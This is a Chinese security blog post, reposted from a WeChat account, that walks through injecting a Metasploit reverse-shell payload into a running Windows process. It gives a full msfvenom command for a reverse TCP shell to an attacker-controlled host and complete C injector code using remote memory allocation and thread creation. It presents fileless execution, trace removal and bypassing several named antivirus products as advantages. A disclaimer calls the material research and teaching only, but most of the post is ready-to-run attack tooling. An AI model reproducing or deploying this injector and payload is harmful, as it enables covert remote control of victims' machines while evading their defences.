Metasploit恶意ShellCode注入进程的简单示例

admin 2024年10月16日23:14:41评论28 views字数 1277阅读4分15秒阅读模式

Shellcode是由汇编指令转换过来的二进制机器码,当利用shellcode进行恶意木马活动时,shellcode可以实现相较于传统木马文件落地的隐匿性。

恶意shellcode动态注入进程的优点

  • 文件不落地,可以免杀

  • 一般使用的Shellcode加载器体积小,并且有很强的可移植性,可以轻易的插入到未编译的源码中

  • Shellcode加载器能够在注入Shellcode后自我销毁清除痕迹,一定程度上可以防止溯源

缺点

  • 加载在内存之中,主机重启或宿主进程关闭后Shellcode将无法继续执行,实际中需要考虑持久化处理

下面笔者利用msf做一个示例

msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=11451 -f c -b x00x0ax0d

Metasploit恶意ShellCode注入进程的简单示例

注意:此处的-b指不允许出现的字符,x00空字符、x0a换行符、x0d终止符都会使shellcode出现问题

生成payload之后,可以用C语言来编写一个注入器

#include <stdio.h>#include <windows.h>//你的shellcodeunsigned char buf[] = "生成的payload";int main(){    HANDLE Handle;//声明用于存放目标进程句柄的句柄变量    HANDLE remoteThread;//声明指向Shellcode内存的句柄变量    PVOID remoteBuffer;//声明在目标进程中指向分配给shellcode运行的内存指针    DWORD Pid=20452;//目标进程的PID    //获取目标进程的句柄    Handle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);    //要求目标进程为Shellcode分配内存,VirtualAllocEx()函数的参数详情可翻阅官方文档    remoteBuffer=VirtualAllocEx(Handle,NULL,sizeof(buf),(MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);    //将Shellcode写入目标进程的内存中    WriteProcessMemory(Handle,remoteBuffer,buf,sizeof(buf),NULL);    //在进程中创建一个线程用以运行shellcode    remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);    //关闭句柄,释放资源    CloseHandle(Handle);    CloseHandle(remoteThread);    return 0;}

然后用ncat监听11451端口

Metasploit恶意ShellCode注入进程的简单示例

最后运行注入器(运行以后目录下会出现一个xxx.exe),运行之后直接上线

Metasploit恶意ShellCode注入进程的简单示例

Metasploit恶意ShellCode注入进程的简单示例

最后也是过了百度360火绒红伞

原文始发于微信公众号(黄豆安全实验室):Metasploit恶意ShellCode注入进程的简单示例

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日23:14:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Metasploit恶意ShellCode注入进程的简单示例https://cn-sec.com/archives/3278152.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息